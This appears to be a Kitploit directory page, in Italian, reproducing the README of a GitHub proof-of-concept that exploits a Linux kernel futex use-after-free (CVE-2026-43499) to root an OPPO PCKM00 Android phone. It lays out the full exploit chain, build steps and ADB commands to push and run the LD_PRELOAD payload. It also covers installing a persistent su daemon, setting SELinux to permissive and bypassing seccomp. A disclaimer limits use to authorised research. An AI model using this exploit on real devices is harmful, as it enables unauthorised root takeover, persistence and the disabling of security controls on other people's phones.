Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
GhostLock-OPPO-PCKM00 — CVE-2026-43499 GhostLock futex UAF LPE PoC per OPPO PCKM00 (SM6150) / Linux 4.14.180 | Kitploit
Strumenti/GitHubGitHub/yijiacloud/ghostlock-oppo-pckm00
Sicurezza AndroidEscalation di PrivilegiMeccanismi di PersistenzaAnalisi delle VulnerabilitàExploitPost-ExploitSicurezza MobileSviluppo PayloadBinary Exploitation
GitHubyijiacloud/ghostlock-oppo-pckm00

GhostLock-OPPO-PCKM00

CVE-2026-43499 GhostLock futex UAF LPE PoC per OPPO PCKM00 (SM6150) / Linux 4.14.180

3829 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

GhostLock — PoC per OPPO PCKM00 (4.14.180)

CVE-2026-43499 (GhostLock) — PoC di escalation locale dei privilegi tramite use-after-free nell'ereditarietà di priorità del futex del kernel Linux, portato su OPPO PCKM00 (OP4A57, SM6150, Android 11, kernel 4.14.180-perf+).

DISCLAIMER / 免责声明 Questo progetto è destinato esclusivamente a ricerca sulla sicurezza autorizzata e scopi educativi. Non utilizzarlo su alcun dispositivo che non possiedi o per il quale non sei esplicitamente autorizzato a testare. L'esecuzione dell'exploit potrebbe causare il crash del kernel. L'autore non si assume alcuna responsabilità per usi impropri o danni.

本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。


1. Vulnerabilità

CVE-2026-43499 (GhostLock) è un use-after-free nel codice di ereditarietà di priorità del futex del kernel Linux. Il bug risiede nell'uso improprio di remove_waiter() nel percorso di rollback del proxy-lock di rt_mutex_start_proxy_lock(). Il rt_mutex_waiter liberato (allocato sullo stack del kernel) viene reinterpretato come un fd_set controllato dall'attaccante copiato da pselect(), il che produce una primitiva di scrittura arbitraria.

Intervallo interessato: Linux 4.x–6.x (introdotto nel 2011). La serie 4.14 è completamente interessata. Vedere report.md per l'analisi completa e gli offset dei simboli verificati.

Catena dell'exploit

root@kitploit:~
futex requeue-pi UAF
   └─> copia fd_set di pselect sullo stack (rt_mutex_waiter falso / task falso)
         └─> scrittura arbitraria (operazioni sull'albero rt_mutex / sched_setattr)
               └─> sovrascrittura di ashmem_fops -> lettura/scrittura bin di configfs
                     └─> riscrittura della pagina di pipe_buffer (primitiva RW fisica)
                           └─> patch delle cred del task corrente -> root

Il PoC viene eseguito interamente nello spazio utente tramite LD_PRELOAD — nessun riavvio del dispositivo richiesto (a meno che il kernel non vada in panico).


2. Target

Porting su altri dispositivi 4.14: copiare exploit/targets/oppo-pckm00/target.h e rigenerare gli offset dei simboli dalla propria immagine del kernel (vedere analysis/).


3. Struttura del repository

root@kitploit:~
.
├── report.md                    # Analisi completa della vulnerabilità e offset verificati
├── exploit/
│   ├── Makefile                 # Compila preload.so (Windows NDK / WSL)
│   ├── src/
│   │   ├── preload.c            # Punto di ingresso LD_PRELOAD + logging forzato su disco + su
│   │   ├── main.c               # Orchestrazione (thread waiter/owner/consumer)
│   │   ├── slide.c              # Leak KASLR (logger boot_id / nfulnl)
│   │   ├── fops.c               # Sovrascrittura ashmem_fops + primitiva configfs
│   │   ├── pipe.c               # Primitiva physrw di pipe_buffer
│   │   ├── root.c               # Scansione task + patch cred + seccomp/selinux
│   │   ├── util.c               # kernelsnitch, preparazione pagina skb, RW del kernel
│   │   ├── su_daemon.c          # Server su incorporato (drop-in)
│   │   ├── su_blob.S            # .incbin di su_daemon
│   │   └── wallpaper_blob.S     # .incbin del payload wallpaper
│   ├── targets/oppo-pckm00/target.h   # Offset di simboli/strutture per 4.14.180
│   └── assets/wallpaper.webp    # Payload wallpaper incorporato
├── analysis/                    # Script di estrazione immagine kernel / kallsyms
└── LICENSE                      # Apache-2.0 (come il GhostLock upstream)

4. Compilazione

Richiede Android NDK r29 (aarch64-linux-android30-clang).

Windows NDK

root@kitploit:~
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%

WSL (consigliato)

root@kitploit:~
# posizionare NDK in /opt/ndk/android-ndk-r29 (toolchain linux-x86_64)
cd exploit
make wsl
# oppure direttamente:
bash ../analysis/build_preload.sh

Output: exploit/preload.so (oggetto condiviso ELF aarch64 a 64 bit).

La compilazione compila anche su_daemon.c in un binario PIE e lo incorpora (insieme al wallpaper) nel .so tramite i blob .S.


5. Utilizzo (ADB)

5.1 Trasferire il payload

root@kitploit:~
# solo binario (funziona da un asset di release o da una build locale)
adb push preload.so /data/local/tmp/preload.so

# oppure con la struttura del repository
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so

5.2 Esecuzione

Il .so viene caricato nel processo sh tramite LD_PRELOAD; il suo costruttore esegue l'intera catena dell'exploit e riporta il risultato:

root@kitploit:~
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

In caso di successo la shell riporta:

root@kitploit:~
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0

Il processo corrente (e i suoi figli) ora è root. Un demone su viene installato in /apex/com.android.virt/bin/su (con fallback su /data/local/tmp/su) e un wallpaper incorporato viene applicato come artefatto di persistenza/verifica.

5.3 Verifica

root@kitploit:~
# da una nuova shell dopo l'esecuzione
adb shell su -c 'id'

# oppure ottenere una sessione shell root (client su interattivo)
adb shell /data/local/tmp/su

# verificare che SELinux sia stato impostato a permissive (se il percorso selinux è stato attivato)
adb shell getenforce

5.4 Logging forzato su disco in tempo reale

Tutti i diagnostici pr_* vengono anche scritti in /sdcard/Download/log_<timestamp>.txt (con fallback su /data/local/tmp/log_<timestamp>.txt), con O_SYNC + fsync() su ogni riga, così i log sopravvivono a un panico del kernel / riavvio:

root@kitploit:~
adb pull /sdcard/Download/log_*.txt
# oppure se /sdcard non è montato subito
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt

Il log mostra ogni fase (slide KASLR, sovrascrittura fops, pipe physrw, patch cred) e la riga finale uid_after / ROOT OK — allegarlo quando si segnala un problema.

5.5 Pulizia

root@kitploit:~
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot   # se lo stato SELinux/cred o il wallpaper sono stati modificati

Nota: l'esecuzione dell'exploit potrebbe causare il crash del kernel. Se adb si interrompe, attendere il riavvio del dispositivo, quindi recuperare /sdcard/Download/log_*.txt — il logging forzato O_SYNC/fsync è esattamente ciò che sopravvive al panico.


6. Note e limitazioni

  • KASLR: il PoC rivela lo slide tramite il percorso del logger boot_id/nfulnl (slide.c) più un passaggio di verifica ashmem_fops (fops.c).
  • Differenze 4.14 vs 6.x gestite in questo porting:
    • configfs usa .read/.write legacy (niente read_iter/write_iter),
    • ashmem_fops non ha show_fdinfo,
    • generic_file_splice_read sostituisce copy_splice_read,
    • selinux_enforcing risiede dentro struct selinux_state,
    • layout di / / per 4.14.

7. Crediti

  • NebuSec — ricerca originale GhostLock e framework dell'exploit (IonStack/CVE-2026-43499), Apache-2.0. https://github.com/NebuSec/CyberMeowfia
  • KernelSnitch (canale laterale hash futex) è incorporato secondo i suoi termini upstream.

Licenza

Apache-2.0 — vedere LICENSE.

Scarica lo strumento
CampoValore
DispositivoOPPO PCKM00 / OP4A57
SoCQualcomm SM6150
Android11 (RKQ1.200903.002)
Patch di sicurezza2022-09-05
Kernel4.14.180-perf+ (arm64, clang 10.0.7)
BuildOPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys
rt_mutex_waiter
pipe_inode_info
cred
  • Alcuni offset di strutture (es. task_struct.seccomp) sono best-effort; il fallimento nel patchare seccomp non blocca il root tramite sovrascrittura delle cred.
  • L'esecuzione dell'exploit potrebbe innescare un panico del kernel (~97% di affidabilità in ~5s sul target); usare un dispositivo isolato.